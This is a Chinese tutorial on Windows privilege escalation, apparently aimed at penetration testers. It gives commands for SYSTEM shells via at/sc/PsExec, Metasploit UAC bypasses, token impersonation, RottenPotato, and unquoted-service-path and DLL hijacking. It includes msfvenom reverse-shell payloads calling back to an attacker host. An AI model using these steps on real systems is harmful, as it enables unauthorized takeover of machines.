在 Windows 中实现特权升级的最终目标是获得作为管理员或系统用户运行的权限,提权的关键是需要对受破坏的系统进行大量的信息搜集。
从 Webshell(apache)、数据库权限——>系统普通用户权限——>Administrator权限——>System权限
Windows常用的提权方法有:
`- 系统内核溢出漏洞提权 - 数据库提权 - 错误的系统配置提权 - 组策略首选项提权 - WEB中间件漏洞提权 - DLL劫持提权 - 滥用高危权限令牌提权 - 第三方软件/服务提权等 `
`systeminfo 查询系统信息 hostname 主机名 net user 查看用户信息 netstat -ano | find "3389" 查看服务pid号 wmic os get caption 查看系统名 wmic qfe get Description,HotFixID,InstalledOn 查看补丁信息 wmic product get name,version 查看当前安装程序 wmic service list brief 查询本机服务 wmic process list brief 查询本机进程 net share 查看本机共享列表 netsh firewall show config 查看防火墙配置`
`systeminfo 查看补丁 wmic qfe get Description,HotFixID,InstalledOn 查看补丁信息 `
`post/multi/recon/local_exploit_suggester post/windows/gather/enum_patches `
`https://github.com/SecWiki/windows-kernel-exploits `
在Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以使用at命令将权限提升至system权限。 因为at命令默认是以system权限下运行的所以我们可以利用以下命令,进行提权。
AT命令可在指定时间和日期、在指定计算机上运行命令和程序。
at 时间 /interactive cmd 其中里面的/interactive参数是开启交互模式
适用于windows 7/8、03/08、12/16 因为at命令在win7,win8等更高版本的系统上都已经取消掉了,所以在一些更高版本的windows操作系统上我们可以用sc命令进行提权。 SC命令是XP系统中功能强大的DOS命令,SC是用于与服务控制管理器和服务进行通信的命令行程序。 通俗理解就是SC可以启动一个服务,命令如下。
`sc Create systemcmd binPath= "cmd /K start" type= own type= interact`
其中systemcmd是服务名称,大家可以随意填写,binpath是启动的命令,type=own是指服务这个服务属于谁。这里再解释一下 cmd /k start 这个命令,这个命令就是启动一个新的cmd窗口:
执行命令:
输入:sc start systemcmd,即可启动服务!
由于服务器有交互式检测:我们点进去
适用版本:Win2003 & Win2008 下载PSexec工具 https://download.sysinternals.com/files/PSTools.zip
提权命令 :
使用管理员身份运行的Cmd输入“Psexec -i -s -d cmd”命令提权:
`psexec -i -s -d cmd `
提权命令:
`psexec.exe -accepteula -s -i -d cmd.exe`
什么是UAC
UAC(User Account Control)简称用户帐户控制,UAC 是Windows Vista以上的版本中引入了要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员密码
工作模式
`执行特定操作---->能否提供管理员身份----->能(执行操作),反之 `
需要UAC的授权才能进行的操作:
`- 配置Windows Update - 增加、删除账户;更改账户类型 - 更改UAC的设置 - 安装ActiveX;安装、卸载程序 - 安装设备驱动程序 - 将文件移动/复制到ProgramFiles或Windows目录下 - 查看其它用户的文件夹 `
绕过UAC的几种思路
`- 白名单劫持(利用白名单程序是该程序以系统权限启动且不用通知用户,只要我们找到相关程序劫持它,此时只要程序启动,也会带着我们的程序以系统权限启动。) - DLL 劫持 - Windows 自身漏洞提权 - 远程注入 - COM 接口技术`
绕过UAC提权方法
这个绕过方法一般都是通过MSF来进行:
1.使用exploit/windows/loacal/ask#弹出UAC确认窗口,点击后获得system权限
2、bypassuac绕过
`exploit/windows/local/bypassuac exploit/windows/local/bypassuac_injection exploit/windows/local/bypassuac_fodhelper exploit/windows/local/bypassuac_eventvwr exploit/windows/local/bypassuac_comhijack`
3、利用CVE-2019-1388绕过UAC提权
适用于2008之前版本
什么是令牌
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
令牌窃取
令牌窃取就是通过假冒一个网络中的另一个用户进行各类操作
授权令牌(Delegation token):交互式会话登陆(例:本地用户登陆、用户桌面等)
模拟令牌(Impersonation token):非交互式登陆(例:net use 访问共享文件)
两种token只有在系统重启后才会清除;授权令牌在用户注销后,该令牌会变为模拟令牌依旧有效。 同样也可以这样理解,当前系统中的某个进程或线程能访问到什么样的系统资源,完全取决于你当前进程是拿着谁的令牌。 默认情况下,我们列举令牌,只能列举出当前用户和比当前用户权限更低用户的令牌。令牌的数量取决于当前shell的访问级别,如果当前的shell是administrator或者是system,我们就可以看到系统中的所有的令牌。
还是通过MSF来进行:
首先需要将木马上传至需要提权的服务器中,然后执行命令进行令牌窃取提权。
`meterpreter > use incognito # 先load meterpreter > list_tokens -u # 列出令牌 meterpreter > impersonate_token "NT AUTHORITY\SYSTEM" #窃取system令牌 `
适用版本:Windows 7、8、10、2008、2012
什么是烂土豆提权
所谓的烂土豆提权就是俗称的MS16-075,其是一个本地提权,是针对本地用户的,不能用于域用户。可以将Windows工作站上的特权从最低级别提升到“ NT AUTHORITY \ SYSTEM”。ms16-075漏洞介绍:Windows SMB 服务器特权提升漏洞(CVE漏洞编号:CVE-2016-3225)当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞,成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。微软将其定义为KB3164038RottenPotato(烂土豆)提权的原理可以简述如下:
`(1). 欺骗“NT AUTHORITY\SYSTEM”帐户通过 NTLM 对我们控制的 TCP 端点进行身份验证。 (2) 中间人此身份验证尝试(NTLM 中继)在本地协商“NT AUTHORITY\SYSTEM”帐户的安全令牌。这是通过一系列 Windows API 调用完成的。 (3) 冒充我们刚刚协商好的令牌。仅当攻击者当前帐户有权模拟安全令牌时,才能做到这一点。这通常适用于大多数服务帐户,而不适用于大多数用户级帐户 `
资源地址:https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
提权方法
`meterpreter > upload /root/Rottenpotato/rottenpotato.exe meterpreter > execute -HC -f rottenpotato.exe meterpreter > use incognito meterpreter > list_tokens -u 会发现令牌列表里面存在system的令牌,在用system的令牌进行提权`
如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的****漏洞原理 这里假设有一个服务路径 C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe
带引号时:"C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe"会被看成一个完整的服务路径,故不会产生漏洞。
不带引号时:我们认为的服务路径是C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe,但是由于没有双引号的包裹,Windows会认为C:\Program空格后面的为Program这个程序的参数来进行启动服务。这样攻击者就可以命名一个为Program.exe的后门文件放在c盘下,进而等待含漏洞服务路径的启动或重启导致后门文件的执行。
执行:
`wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """ `
先进行检测:
我们模拟添加一个服务:
`sc create 服务名 binPath="可执行程序路径" `
把QQ音乐添加为服务:
`sc create QQMUSIC binPath= "C:\Program Files (x86)\Tencent\QQMusic\QQMusic.exe" `
设置为自动启动:
`sc config 服务名 start= AUTO start=AUTO (自动) start=DEMAND (手动) start=DISABLED (禁用) `
检测试试:
这是有问题的服务。
模拟攻击
kali生成木马:
`msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 11 -b '\x00' lhost=192.168.3.62 lport=9527 -f exe -o Program.exe `
将木马放到C盘
kali上做监听:
启动服务:
正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程:
`set AutoRunScript migrate -f `
原理:Windows程序启动的时候需要DLL。如果这些DLL 不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径。
Windows查找DLL目录及其顺序如下:
`1、应用程序加载的目录 2、C:\Windows\System32 3、C:\Windows\System 4、C:\Windows 5、当前工作目录Current Working Directory,CWD 6、在PATH环境变量的目录(先系统后用户)`
这样的加载顺序很容易导致一个系统dll被劫持,因为只要攻击者将目标文件和恶意dll放在一起即可,导致恶意dll先于系统dll加载,而系统dll是非常常见的,所以当时基于这样的加载顺序,出现了大量受影响软件
过程:
`1、收集进程加载的dll 2、制作dll并上传 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.131 lport=6666 -f dll >/opt/test.dll 3、替换dll 4、启动应用,使用msf监听端口接收反弹回来的shell `
加下方wx,拉你一起进群学习